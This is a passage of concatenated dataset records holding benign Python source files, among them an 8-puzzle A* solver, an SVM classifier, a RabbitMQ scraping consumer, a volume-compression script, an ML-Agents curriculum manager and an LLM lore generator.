abs(goal_pos.horizontal - current_pos.horizontal) + abs(goal_pos.vertical - current_pos.vertical)\n return diff\n\n# get heuristic value for board's current state\ndef calculate_heuristic(state):\n heuristic_value = 0 # initialize heuristic value as zero for each board\n # 3x3 board so we consider range as 3\n for i in range(3):\n for j in range(3):\n # calculate heuristic only for non-empty tile\n if state[i][j] != empty_tile:\n heuristic_value += calculate_distance(state, state[i][j])\n return heuristic_value\n\n# represents Puzzle board\nclass Board:\n def __init__(self, state, g, parent):\n self.state = state\n self.g = g # distance from root\n self.h = calculate_heuristic(state) # heuristic for board state\n self.f = g + self.h\n self.parent = parent\n\n# check if board state is goal state\ndef is_goal_state(state):\n return state == goal_state\n\n# shuffle_board\ndef shuffle_board(node: Board):\n # set board configuration as explored and remove from frontier\n frontier.remove(node)\n explored.append(node.state)\n for direction in ['right', 'left', 'up', 'down']:\n # for all 4 directions, check if tile can move\n if can_move_tile(node.state, direction):\n # maintain a copy of current state before moving\n copy_state = [[x for x in y] for y in node.state]\n move_tile(copy_state, direction)\n # if the move is already not performed, execute it and add to frontier\n if copy_state not in explored:\n # create new board configuration branch, increase distance from root by 1\n new_node = Board(copy_state, node.g + 1, node)\n frontier.append(new_node)\n\n# find empty tile for a board state\ndef find_empty_tile(state):\n return find_position(state, empty_tile)\n\n# check if we can move tile in a direction\ndef can_move_tile(state, direction):\n position = find_empty_tile(state)\n # restrict left move if on last horizontal position i.e. [i][0] on 3x3 board\n if direction == 'left':\n return position.horizontal != 0\n # restrict right move if on last horizontal position i.e. [i][2] on 3x3 board\n elif direction == 'right':\n return position.horizontal != 2\n # restrict up move if on last horizontal position i.e. [0][j] on 3x3 board\n elif direction == 'up':\n return position.vertical != 0\n # restrict down move if on last horizontal position i.e. [2][j] on 3x3 board\n elif direction == 'down':\n return position.vertical != 2\n\n# move an empty tile in a given direction\ndef move_tile(state, direction):\n if can_move_tile(state, direction):\n x = find_empty_tile(state).horizontal\n y = find_empty_tile(state).vertical\n \n # swap empty tile with the tile on left \n if direction == 'left':\n state[y][x] = state[y][x - 1]\n state[y][x - 1] = empty_tile\n # swap empty tile with the tile on right\n elif direction == 'right':\n state[y][x] = state[y][x + 1]\n state[y][x + 1] = empty_tile\n # swap empty tile with the tile above\n elif direction == 'up':\n state[y][x] = state[y - 1][x]\n state[y - 1][x] = empty_tile\n # swap empty tile with the tile below\n elif direction == 'down':\n state[y][x] = state[y + 1][x]\n state[y + 1][x] = empty_tile\n\ndef a_star_search(initial_state, frontier, explored):\n current_board = frontier[0] # set first tile to current tile\n \n # if current tile state is not goal state\n while not is_goal_state(current_board.state):\n for board in frontier:\n current_board = frontier[0]\n # if board has lower value than current, replace current with with that\n if (board.f < current_board.f):\n current_board = board\n # shuffle board for all branch configurations in frontier\n shuffle_board(current_board)\n \n return current_board\n\nif __name__ == \"__main__\":\n empty_tile = '0' # we denote an empty tile having zero value\n initial_state = [[1, 2, 4], [3, 5, 6], [8, empty_tile, 7]]\n goal_state = [[empty_tile, 1, 2], [3, 4, 5], [6, 7, 8]]\n \n frontier = [Board(initial_state, 0, None)] # add first tile to frontier list\n explored = [] # initialize explored tiles list\n\n print(\"Initial State: \", end=\" \")\n print(initial_state)\n print(\"Goal State: \", end=\" \")\n print(goal_state)\n\n # using a star search to reorder board\n final_board = a_star_search(initial_state, frontier, explored)\n board = final_board # a copy created to find parent boards\n stack = []\n total_moves = 0\n \n # appending all parent boards to stack\n while board.parent != None:\n total_moves += 1\n stack.append(board)\n board = board.parent\n \n # using stack to reverse the output \n while len(stack):\n board = stack.pop()\n for j in range(3):\n print(board.state[j])\n print('\\n')\n\n # finally print goal state and total moves\n print(\"Goal state reached: \")\n for i in range(3):\n print(final_board.state[i])\n \n print(\"\\nTotal Moves: \" + str(total_moves))","repo_name":"78sarmad/8-puzzle_a-star-search","sub_path":"8_puzzle.py","file_name":"8_puzzle.py","file_ext":"py","file_size_in_byte":6162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4070151389","text":"import time\nfrom datetime import datetime\n\n\nclass QueueSize(object):\n def __init__(self, shared):\n self.shared = shared\n\n def collect(self):\n data = {\n 'time': datetime.now().isoformat(),\n 'name': 'queue.size',\n 'value': self.shared.metrics.qsize()\n }\n time.sleep(1)\n return data\n","repo_name":"openawg/openawg","sub_path":"software/metrics/mock_sensors/queuesize.py","file_name":"queuesize.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"48"} +{"seq_id":"16680521630","text":"import pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# Read CSV file\nfilename = 'data.csv'\ndf = pd.read_csv(filename)\n\n# Display column names and numbers\ncolumns = df.columns.tolist()\nfor i, col in enumerate(columns):\n print(f\"{i+1}. {col}\")\n\n# Prompt user for column selection\ncol1 = input(\"Enter column name or number for X-axis: \")\ncol2 = input(\"Enter column name or number for Y-axis: \")\n\n# Convert column input to column names\nif col1.isdigit():\n col1 = columns[int(col1) - 1]\nif col2.isdigit():\n col2 = columns[int(col2) - 1]\n\n# Perform Pearson correlation\ncorr_coef = df[[col1, col2]].corr().iloc[0, 1]\n\n# Visualize scatter plot with regression line and equation\nsns.lmplot(x=col1, y=col2, data=df)\nplt.title(f\"Scatter Plot: {col1} vs {col2}\\nCorrelation Coefficient: {corr_coef:.2f}\")\nplt.show()\n","repo_name":"Aria-Dolatabadian/Python-tips","sub_path":"Correlation between columns/Correlation between columns.py","file_name":"Correlation between columns.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"8939476345","text":"import sys\nsys.path.append('/data/new_disk2/wangla/tmp/NCVV')\nimport torch\nimport os\nimport copy\nimport numpy as np\n\nfrom codec import split_volume,zero_pads,zero_unpads,get_origin_size,get_color,merge_volume,deform_warp,grid_sampler\nfrom codec import encode_jpeg,decode_jpeg,Timer,encode_motion,decode_motion\nimport time\nfrom bitarray import bitarray\nimport json\n\n# init enviroment\nif torch.cuda.is_available():\n torch.set_default_tensor_type('torch.cuda.FloatTensor')\n device = torch.device('cuda')\nelse:\n device = torch.device('cpu')\n\npath = '/data/new_disk2/wangla/tmp/NCVV/logs/NHR/xzq_wmyparams_deform_tv_res_cube_d_l1'\n\nres_mode='sub'#sub or diret_save\ndeform_low_reso=True\n\nqualitys=[99]\nfor quality in qualitys:\n expr_name = f'dynamic+{quality}_old'\n if res_mode=='direct_save':\n expr_name+=('_'+res_mode)\n os.makedirs(os.path.join(path,expr_name),exist_ok=True)\n\n frame_length=200\n voxel_size = 8\n\n masks=[]\n\n\n thresh = 1\n\n quant_type=\"jpeg\"\n\n for frame_id in range(frame_length):\n print('process frame', frame_id)\n ckpt_path = os.path.join(path, 'fine_last_%d.tar' % frame_id)\n while not os.path.exists(ckpt_path):\n torch.cuda.empty_cache()\n print(\"waiting checkpoint \", ckpt_path)\n time.sleep(3000)\n\n ckpt = torch.load(ckpt_path, map_location=device)\n model_states = ckpt['model_state_dict']\n\n if frame_id == 0:\n residual_k0= model_states['k0.k0']\n residual_density=model_states['density']+4.1\n else:\n\n # for deformation field\n ckpt_deform_path = os.path.join(path, 'fine_last_%d_deform.tar' % frame_id)\n ckpt_deform = torch.load(ckpt_deform_path, map_location=device)\n model_states_deform = ckpt_deform['model_state_dict']\n deformation_field = model_states_deform['deformation_field']\n if deform_low_reso:\n deform_cube, grid_size, origin_size= encode_motion(deformation_field)\n deformation_field = decode_motion(deform_cube, grid_size, origin_size)\n\n xyz_min=model_states['xyz_min']\n xyz_max=model_states['xyz_max']\n former_k0=feature_rec\n # print(former_k0.size())\n # print(model_states['k0.former_k0'].size())\n self_grid_xyz = torch.stack(torch.meshgrid(\n torch.linspace(xyz_min[0], xyz_max[0], deformation_field.shape[2]),\n torch.linspace(xyz_min[1], xyz_max[1], deformation_field.shape[3]),\n torch.linspace(xyz_min[2], xyz_max[2], deformation_field.shape[4]),\n ), -1)\n deform_xyz = deform_warp(self_grid_xyz, deformation_field,xyz_min,xyz_max)\n former_k0 = grid_sampler(deform_xyz,xyz_min,xyz_max, former_k0).permute(3, 0, 1, 2).unsqueeze(0)\n if res_mode==\"sub\":\n residual_k0=model_states['k0.k0'] + model_states['k0.former_k0']-former_k0\n else:\n residual_k0=model_states['k0.former_k0']\n\n residual_density=model_states['density']-density_rec\n\n residual = torch.cat([residual_density, residual_k0], dim=1)\n\n\n residual, grid_size = split_volume(zero_pads(residual, voxel_size=voxel_size),\n voxel_size=voxel_size)\n residual=residual.cuda()\n\n cnt_mask = residual[:, 0, :].reshape(residual.size(0),-1)\n cnt_mask = torch.nn.functional.softplus(cnt_mask - 4.1) > 0.4\n cnt_mask = cnt_mask.sum(dim=1) # 用来mask全0的voxel?minye的经验值,之后的数据可能需要细调???\n if frame_id == 0:\n masks.append(torch.zeros_like(cnt_mask,device=cnt_mask.device))\n former_density_cube = torch.zeros_like(residual[:, 0, :].reshape(residual.size(0),-1), device=residual.device)\n former_density_cube -= 4.1\n\n masks.append(cnt_mask)\n print(residual.size())\n\n #residual=residual.reshape(residual.size(0),residual.size(1),residual.size(2),voxel_size,voxel_size,voxel_size)\n\n masks=torch.stack(masks)\n masks=(masks[1:] + masks[:-1]).bool()\n masks=masks.reshape((masks.size(0),-1))\n\n residual_rec = torch.zeros_like(residual,device=residual.device)\n\n residual_cur=residual[masks[0]]\n\n bits,header=encode_jpeg(residual_cur,quality)\n\n with open(os.path.join(path, expr_name,f'compressed_{frame_id}.ncrf'), 'wb') as compressed_file:\n bits.tofile(compressed_file)\n\n origin_size = get_origin_size(model_states['k0.k0'])\n header[\"origin_size\"]=origin_size\n header[\"grid_size\"]=grid_size\n header[\"mask_size\"]=masks[0].size() #all frame same, no need to save everry time\n with open(os.path.join(path, expr_name,f'header_{frame_id}.json'), 'w') as header_f:\n json.dump(header, header_f, indent=4)\n\n masks_save = masks[0].bool().clone().cpu().numpy()\n masks_bit=bitarray()\n masks_bit.pack(masks_save)\n with open(os.path.join(path, expr_name, f'mask_{frame_id}.ncrf'), 'wb') as masked_file:\n masks_bit.tofile(masked_file)\n # masks_save=np.packbits(masks_save,axis=None)\n # np.save(masks_save, os.path.join(path, expr_name, f'mask_{frame_id}.npy'))\n if frame_id != 0 and deform_low_reso:\n deform_save = deform_cube[masks[0]] #这个mask的计算也要变\n deform_save = deform_save.cpu().numpy()\n np.save(os.path.join(path, expr_name, 'deform_%d.npy' % frame_id), deform_save)\n\n\n #start = time.perf_counter()\n with open(os.path.join(path,expr_name, f'compressed_{frame_id}.ncrf'), 'rb') as compressed_file:\n with Timer(\"Decode\",residual_cur.device):\n residual_rec_dct=decode_jpeg(compressed_file,header,residual_cur.device)\n\n with Timer(\"Recover misc\", residual_cur.device):\n print(\"masks 0 size\",masks[0].size())\n\n residual_rec[masks[0]]=residual_rec_dct\n\n residual_rec=residual_rec.reshape(residual.size(0),residual.size(1),-1)\n print(residual_rec.size())\n print(\"grid size\",grid_size)\n\n # rec_feature=big_datas[0]+residual_rec\n # rec_feature=rec_feature.squeeze(0)\n former_density_cube+=residual_rec[:,0,:]\n\n #prepare for next iteration\n cnt_mask = torch.nn.functional.softplus(former_density_cube - 4.1) > 0.4\n cnt_mask = cnt_mask.sum(dim=1) # 用来mask全0的voxel?minye的经验值,之后的数据可能需要细调???\n masks=[cnt_mask]\n\n #recover\n rec_feature = residual_rec.reshape(residual.size(0), residual.size(1), voxel_size,voxel_size,voxel_size)\n\n rec_feature=merge_volume(rec_feature,grid_size)\n\n print(\"origin size\", origin_size)\n rec_feature=zero_unpads(rec_feature,origin_size)\n\n if frame_id == 0:\n density_rec=rec_feature[:1]-4.1\n feature_rec = rec_feature[1:].unsqueeze(0)\n else:\n density_rec=rec_feature[:1]+density_rec\n feature_rec=rec_feature[1:]+former_k0\n\n model_states['density']=density_rec.unsqueeze(0).cpu().clone()\n model_states['k0.k0'] = feature_rec.cpu().clone()\n if 'k0.former_k0' in model_states:\n model_states['k0.former_k0']=None\n\n ckpt['model_state_dict']=model_states\n ckpt_path = os.path.join(path,expr_name, f'rec_{frame_id}.tar')\n\n torch.save(ckpt,ckpt_path)\n\n\n\n","repo_name":"PaulQihan/NCVV_gui","sub_path":"codec/compress_res_deform_old.py","file_name":"compress_res_deform_old.py","file_ext":"py","file_size_in_byte":7559,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"8940404401","text":"\n#!/usr/bin/env python\nimport pika\nimport threading\nimport requests\nfrom bs4 import BeautifulSoup\nimport json \nfrom tinydb import TinyDB, Query\n\ndb = TinyDB('small.json', ensure_ascii=False)\n\n \n\n\ndef tojson(lnk):\n reqs = requests.get(lnk)\n soup = BeautifulSoup(reqs.text, 'html.parser')\n def getname():\n try:\n str = soup.find('header',class_=\"adPage__header\").get_text()\n except Exception as e:\n str = ''\n return str\n def getdescription():\n try:\n str = soup.find('div',class_=\"adPage__content__description grid_18\").get_text()\n except Exception as e:\n str = ''\n return str\n def getprice():\n try:\n str = soup.find('span',class_=\"adPage__content__price-feature__prices__price__value\").get_text() + soup.find('span',class_=\"adPage__content__price-feature__prices__price__currency\").get_text()\n except Exception as e:\n str = ''\n return str\n def getcountry():\n try:\n str = soup.find('dd',itemprop=\"address\").get_text()\n except Exception as e:\n str = ''\n return str\n\n\n prop_list = soup.find_all('li',class_=\"m-value\")\n properties = {}\n for elem in prop_list: #iterates throuhgh all properties and adds them to a dictionary\n elem = elem.get_text().split()\n properties[elem[0]] = elem[1]\n\n for link in soup.find_all('a'): #finds first phone number\n href = link.get('href')\n if href is not None and (\"+373\" in href):\n tel = (link.get('href')[5:16])\n break\n\n default = {\n \n \"Name\" : getname(),\n \"Description\" : getdescription(),\n \"Price\" : getprice(), \n \"Country\" : getcountry(),\n \"Phone\" : tel,\n }\n default.update(properties) ## adds up both dictionaries\n #y = json.dumps(default, ensure_ascii=False)\n return default ##this no longer returns json, but a dict, since tinydb needs dicts on insert\n\n\n\ndef consume(i):\n connection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\n channel = connection.channel()\n channel.exchange_declare(exchange='logs', exchange_type='fanout')\n result = channel.queue_declare(queue='', exclusive=False)\n queue_name = result.method.queue\n\n channel.queue_bind(exchange='logs', queue=queue_name)\n def callback(ch, method, properties, body):\n print(f\"Thread nr:[{i}], {body}\")\n json_data = tojson(body)\n try:\n db.insert(json_data) # Insert the valid dictionary into the database\n except json.decoder.JSONDecodeError as e:\n pass\n channel.basic_consume(\n queue=queue_name, on_message_callback=callback, auto_ack=True)\n channel.start_consuming()\n\n\n\n\n# Number of consumer threads\nnum_threads = 2 \n\n# Create and start consumer threads\nthreads = []\nfor i in range(num_threads):\n thread = threading.Thread(target=consume, args=(i,))\n threads.append(thread)\n thread.start()\n\nprint(' [*] Waiting for logs. To exit, press CTRL+C')\n\n# Wait for all consumer threads to finish\nfor thread in threads:\n thread.join()\n\ndb.close()\n","repo_name":"andreeamnl/Network-Programming","sub_path":"LAB7/receive.py","file_name":"receive.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3544627616","text":"import csv\nimport numpy as np\nfrom sklearn import svm\nfrom sklearn.model_selection import KFold\nfrom sklearn.feature_selection import SelectKBest, f_classif\nfrom sklearn.model_selection import GridSearchCV\nimport matplotlib.pyplot as plt\nimport sys\n\n###Pré processamento dos dados\n\n#Lendo a base de dados de um arquivo csv\nif len(sys.argv) != 2:\n print(\"Please inform the filename\")\n exit(1)\n\nfname = sys.argv[1]\n\ntry:\n #Lendo a base de dados de um arquivo csv\n\tcsv_file_object = csv.reader(open(fname),\n\t\t\t\t\t\t\tdelimiter=',', quotechar='\"')\nexcept IOError:\n print(\"File %s doesn't exist\" % fname)\n exit(1)\ndata = []\nfor row in csv_file_object:\n\tdata.append(row)\n\ndata = np.array(data)\n\n#Separando os atributos das etiquetas\ns = len(data[0])-1\nX = data[:,:s]\nX = X.astype(np.float)\ny = data[:,s]\ny = y.astype(np.float)\n\n#Normalizando a amplitude\nnorm_x = X / X.max(axis=0)\n\n###Treinamento e teste do modelo\n\n#Laço para encontrar os k melhores atributos\nkf = KFold(n_splits=10,shuffle=True)\nprint(kf)\nprint()\nscrs = []\nC = 1.0\nerrs = []\nfor k in range(1,s+1):\n\t#10-fold Cross Validation\n\tnew_x = SelectKBest(f_classif, k=k).fit_transform(norm_x, y)\n\n\tfor train_index, test_index in kf.split(new_x):\n\t\tX_train, X_test = new_x[train_index], new_x[test_index]\n\t\ty_train, y_test = y[train_index], y[test_index]\n\n\t\t#Criando o modelo de regressão linear\n\t\tclf = svm.SVC(kernel='linear', C=C)\n\t\t#Treinando o modelo na base de treinamento\n\t\tclf.fit(X_train, y_train)\n\t\t#Desempenho na base de teste\n\t\tscore = clf.score(X_test, y_test)\n\t\t#print(\"Score: %.2f\" % score)\n\n\t\tscrs.append(score)\n\n\t#Média dos erros das 10 iterações\n\tsumx = 0\n\n\tfor x in scrs:\n\t\tsumx += x\n\n\tmean_scr = sumx/len(scrs)\n\n\terrs.append(mean_scr)\n\n\tprint(\"Score médio para o(s)\", k, \"melhor(es) atributo(s): %.2f\" % mean_scr)\n\tprint()\n\n#print(\"Erros para o i+1 atributos principais: \\n\", errs)\nplt.plot(errs)\n","repo_name":"Wedeueis/Projetos","sub_path":"Data Science/Wine Quality Estimation/Classifier_SVM.py","file_name":"Classifier_SVM.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71156843986","text":"\nfrom . import CustomModelClass\nfrom langchain.chains import LLMChain, SimpleSequentialChain\nfrom langchain.prompts import PromptTemplate\n\nfrom .locationRelation import *\n\nclass loreGenerator():\n\n def __init__(self) -> None:\n self.affinityObj = None\n self.llm = CustomModelClass.CustomLLM()\n\n\n def generateNameList(self, genre):\n \n\n template = \"\"\" \n [INST] <>\n You are name generator.\n Be imaginative and creative. Output the names in a python list format, \n Skip the header and the starting greetings.\n for example:\n place1 , place2, ...\n\n Output only the list, do not say anything else.\n <>\n\n Generate 10 location names that fit the {genre} genre [/INST]\n \"\"\"\n prompt_template = PromptTemplate(input_variables=[\"genre\"], template=template)\n question_chain = LLMChain(llm=self.llm, prompt=prompt_template)\n\n nameOutput = question_chain.run(genre)\n\n nameList = nameOutput.split(\",\")\n nameList = [x.replace(\"'\", \"\").replace(\"[\", \"\").replace(\"]\", \"\") for x in nameList]\n\n print(nameList)\n self.affinityObj = locationRelation(nameList)\n self.affinityObj.createAffinityGraph()\n return nameList\n\n\n def generateLore(self, placeName):\n friend, enemy = self.affinityObj.getCorrespondingLocations(placeName)\n\n template = \"\"\" \n [INST] <>\n You are lore generator. You will be given a place name, output the lore of that place\n Be imaginative and creative. Keep it short. The place has enemies and friends, add descriptions \n about the place's relations with its enemies and friend locations.\n Skip the header and the starting greetings.\n for example:\n lore....\n\n Output only the lore, do not say anything else.\n <>\n\n Generate lore for the place called {placeName}, the place is enemies with {enemy} and has affinity towards {friend}\n [/INST]\n \"\"\"\n prompt_template = PromptTemplate(input_variables=[\"placeName\", \"enemy\", \"friend\"], template=template)\n question_chain = LLMChain(llm=self.llm, prompt=prompt_template)\n\n output = question_chain.run({\"placeName\":placeName, \n \"enemy\": enemy, \n \"friend\": friend})\n return output\n\n\n# placeList = generateNameList(\"Fantasy\")\n# generateLore(placeList[1])\n# llm = CustomModelClass.CustomLLM()\n# print(llm(\"what is your name\"))","repo_name":"bigdwarf43/llm-roguelike","sub_path":"AiModel/GenerateLore.py","file_name":"GenerateLore.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31308348890","text":"from typing import Dict, List, Tuple, Optional\nfrom mlagents.trainers.settings import (\n EnvironmentParameterSettings,\n ParameterRandomizationSettings,\n)\nfrom collections import defaultdict\nfrom mlagents.trainers.training_status import GlobalTrainingStatus, StatusType\n\nfrom mlagents_envs.logging_util import get_logger\n\nlogger = get_logger(__name__)\n\n\nclass EnvironmentParameterManager:\n def __init__(\n self,\n settings: Optional[Dict[str, EnvironmentParameterSettings]] = None,\n run_seed: int = -1,\n restore: bool = False,\n ):\n \"\"\"\n EnvironmentParameterManager manages all the environment parameters of a training\n session. It determines when parameters should change and gives access to the\n current sampler of each parameter.\n :param settings: A dictionary from environment parameter to\n EnvironmentParameterSettings.\n :param run_seed: When the seed is not provided for an environment parameter,\n this seed will be used instead.\n :param restore: If true, the EnvironmentParameterManager will use the\n GlobalTrainingStatus to try and reload the lesson status of each environment\n parameter.\n \"\"\"\n if settings is None:\n settings = {}\n self._dict_settings = settings\n for parameter_name in self._dict_settings.keys():\n initial_lesson = GlobalTrainingStatus.get_parameter_state(\n parameter_name, StatusType.LESSON_NUM\n )\n if initial_lesson is None or not restore:\n GlobalTrainingStatus.set_parameter_state(\n parameter_name, StatusType.LESSON_NUM, 0\n )\n self._smoothed_values: Dict[str, float] = defaultdict(float)\n for key in self._dict_settings.keys():\n self._smoothed_values[key] = 0.0\n # Update the seeds of the samplers\n self._set_sampler_seeds(run_seed)\n\n def _set_sampler_seeds(self, seed):\n \"\"\"\n Sets the seeds for the samplers (if no seed was already present). Note that\n using the provided seed.\n \"\"\"\n offset = 0\n for settings in self._dict_settings.values():\n for lesson in settings.curriculum:\n if lesson.value.seed == -1:\n lesson.value.seed = seed + offset\n offset += 1\n\n def get_minimum_reward_buffer_size(self, behavior_name: str) -> int:\n \"\"\"\n Calculates the minimum size of the reward buffer a behavior must use. This\n method uses the 'min_lesson_length' sampler_parameter to determine this value.\n :param behavior_name: The name of the behavior the minimum reward buffer\n size corresponds to.\n \"\"\"\n result = 1\n for settings in self._dict_settings.values():\n for lesson in settings.curriculum:\n if lesson.completion_criteria is not None:\n if lesson.completion_criteria.behavior == behavior_name:\n result = max(\n result, lesson.completion_criteria.min_lesson_length\n )\n return result\n\n def get_current_samplers(self) -> Dict[str, ParameterRandomizationSettings]:\n \"\"\"\n Creates a dictionary from environment parameter name to their corresponding\n ParameterRandomizationSettings. If curriculum is used, the\n ParameterRandomizationSettings corresponds to the sampler of the current lesson.\n \"\"\"\n samplers: Dict[str, ParameterRandomizationSettings] = {}\n for param_name, settings in self._dict_settings.items():\n lesson_num = GlobalTrainingStatus.get_parameter_state(\n param_name, StatusType.LESSON_NUM\n )\n lesson = settings.curriculum[lesson_num]\n samplers[param_name] = lesson.value\n return samplers\n\n def get_current_lesson_number(self) -> Dict[str, int]:\n \"\"\"\n Creates a dictionary from environment parameter to the current lesson number.\n If not using curriculum, this number is always 0 for that environment parameter.\n \"\"\"\n result: Dict[str, int] = {}\n for parameter_name in self._dict_settings.keys():\n result[parameter_name] = GlobalTrainingStatus.get_parameter_state(\n parameter_name, StatusType.LESSON_NUM\n )\n return result\n\n def log_current_lesson(self, parameter_name: Optional[str] = None) -> None:\n \"\"\"\n Logs the current lesson number and sampler value of the parameter with name\n parameter_name. If no parameter_name is provided, the values and lesson\n numbers of all parameters will be displayed.\n \"\"\"\n if parameter_name is not None:\n settings = self._dict_settings[parameter_name]\n lesson_number = GlobalTrainingStatus.get_parameter_state(\n parameter_name, StatusType.LESSON_NUM\n )\n lesson_name = settings.curriculum[lesson_number].name\n lesson_value = settings.curriculum[lesson_number].value\n logger.info(\n f\"Parameter '{parameter_name}' is in lesson '{lesson_name}' \"\n f\"and has value '{lesson_value}'.\"\n )\n else:\n for parameter_name, settings in self._dict_settings.items():\n lesson_number = GlobalTrainingStatus.get_parameter_state(\n parameter_name, StatusType.LESSON_NUM\n )\n lesson_name = settings.curriculum[lesson_number].name\n lesson_value = settings.curriculum[lesson_number].value\n logger.info(\n f\"Parameter '{parameter_name}' is in lesson '{lesson_name}' \"\n f\"and has value '{lesson_value}'.\"\n )\n\n def update_lessons(\n self,\n trainer_steps: Dict[str, int],\n trainer_max_steps: Dict[str, int],\n trainer_reward_buffer: Dict[str, List[float]],\n ) -> Tuple[bool, bool]:\n \"\"\"\n Given progress metrics, calculates if at least one environment parameter is\n in a new lesson and if at least one environment parameter requires the env\n to reset.\n :param trainer_steps: A dictionary from behavior_name to the number of training\n steps this behavior's trainer has performed.\n :param trainer_max_steps: A dictionary from behavior_name to the maximum number\n of training steps this behavior's trainer has performed.\n :param trainer_reward_buffer: A dictionary from behavior_name to the list of\n the most recent episode returns for this behavior's trainer.\n :returns: A tuple of two booleans : (True if any lesson has changed, True if\n environment needs to reset)\n \"\"\"\n must_reset = False\n updated = False\n for param_name, settings in self._dict_settings.items():\n lesson_num = GlobalTrainingStatus.get_parameter_state(\n param_name, StatusType.LESSON_NUM\n )\n next_lesson_num = lesson_num + 1\n lesson = settings.curriculum[lesson_num]\n if (\n lesson.completion_criteria is not None\n and len(settings.curriculum) > next_lesson_num\n ):\n behavior_to_consider = lesson.completion_criteria.behavior\n if behavior_to_consider in trainer_steps:\n (\n must_increment,\n new_smoothing,\n ) = lesson.completion_criteria.need_increment(\n float(trainer_steps[behavior_to_consider])\n / float(trainer_max_steps[behavior_to_consider]),\n trainer_reward_buffer[behavior_to_consider],\n self._smoothed_values[param_name],\n )\n self._smoothed_values[param_name] = new_smoothing\n if must_increment:\n GlobalTrainingStatus.set_parameter_state(\n param_name, StatusType.LESSON_NUM, next_lesson_num\n )\n self.log_current_lesson(param_name)\n updated = True\n if lesson.completion_criteria.require_reset:\n must_reset = True\n return updated, must_reset\n","repo_name":"Unity-Technologies/ml-agents","sub_path":"ml-agents/mlagents/trainers/environment_parameter_manager.py","file_name":"environment_parameter_manager.py","file_ext":"py","file_size_in_byte":8458,"program_lang":"python","lang":"en","doc_type":"code","stars":15647,"dataset":"github-code","pt":"48"} +{"seq_id":"73573892305","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\n\nwith open('test.txt', 'w') as f:\n f.write('今天是: ')\n f.write(datetime.now().strftime('%Y-%m-%d'))\n\n# 标示符'r'表示读\nwith open('test.txt', 'r') as f:\n s = f.read()\n print('open for read...')\n print(s)\n\n# 十六进制表示的字节\nwith open('test.txt', 'rb') as f:\n s = f.read()\n print('open as binary for read...')\n print(s)\n\n\n# 内存中读写\n# 字符串\nfrom io import StringIO\nf = StringIO()\nf.write('hello')\nprint(f.getvalue())\n\n# 二进制数据\nfrom io import BytesIO\nf = BytesIO()\nf.write('中文'.encode('utf-8'))\nprint(f.getvalue())","repo_name":"cangxue/PythonTour","sub_path":"CXPythonTour/samples/io/with_file.py","file_name":"with_file.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74997864146","text":"'''(1)那一位导演创作的电影最多;\n(2)那一位演员参演的作品最多;\n(3)那两个演员共同参演的电影最多。\n'''\n\n#生成二维数组表示v[1][1]表示一号演员和一号演员合作\nimport re\nfrom os import path\n\nV = [[0 for j in range(17)] for i in range(17)]\n# V=[[0]*4]*4\n#存放数据数组\nlist=[]\n#存放导演列表\nlist1=[]\nlist2=[]\nlist3=[]\nresult = {}\nresult2= {}\n#存放导演导电影数目的临时列表\nlist4=[]\nlist5=[]\nlist6=[]\np = path.dirname(__file__)\n\ndef GetData():\n f = open(path.join(p, \"text1.txt\"), \"r+\", encoding='UTF-8') # 文件的路径\n while True:\n line = f.readline()\n if len(re.sub('[\\,]', \" \", line).split())!=0:\n list.append(re.sub('[\\,]', \" \", line).split())\n if not line:\n break\n f.close()\n return list\n\n\ndef ChuLiData(d):\n global V\n #局部变量组装演员\n str3 = ''\n b = True\n for i in range(1,17):\n for j in range(1, 17):\n # 只填半张表\n #防止重复\n if i>=j:\n for d1 in d:\n str=\"演员\"+(\"%d\"%(i))\n str1=\"演员\" +(\"%d\"%(j))\n if d1.count(str)==1 and d1.count(str1)==1:\n V[i][j]=V[i][j]+1\n #遍历二维表查出哪位演员出演电影最多\n for i in range(0,17):\n list5.append(V[i][i])\n for i in list5:\n if i==max(list5):\n str3=str3+\"演员%d\"%(list5.index(i))+\",\"\n print(\"%s的出演电影最多,最多为%d部\"%(str3,max(list5)))\n # for x in V:\n # print(x)\n while b:\n\n a=max(map(max, V))\n for i in range(1,17):\n for j in range(1, 17):\n #只遍历一边\n if i>=j:\n if V[i][j]==a and i!=j:\n print(\"演员%d和演员%d合作的次数最多,最多为%d\"%(i,j,a))\n V[i][j] = 0\n b=False\n if V[i][j]==a and i==j:\n V[i][j]=0 #\n\ndef daoyan(d2):\n #局部变量组装导演\n str=''\n for d3 in d2:\n list1.append(d3[1])\n while True:\n #拷贝列表\n list3 = list1.copy()\n a = 0\n k = len(list3)\n # 循环退出条件数组为0\n if k == 0:\n break\n # 判断导演的个数\n a = list3.count(list3[0])\n result[list3[0]] = a\n while list3[0] in list1:\n list1.remove(list3[0])\n if len(list1) == 0:\n break\n\n max_value = max(zip(result.values(), result.keys()))\n for k in result.keys():\n if result[k]==max_value[0]:\n str=str+k+\",\"\n print(\"%s创作的电影最多,最多为%d部\"%(str,max_value[0]))\nif __name__ == '__main__':\n\n data=GetData()\n #判断演员\n ChuLiData(data)\n #查出导演\n daoyan(data)","repo_name":"it-chenliang/python-study","sub_path":"classStudy/practice1-9.py","file_name":"practice1-9.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11350313531","text":"\"\"\"init\n\nRevision ID: ea953034b953\nRevises:\nCreate Date: 2022-10-09 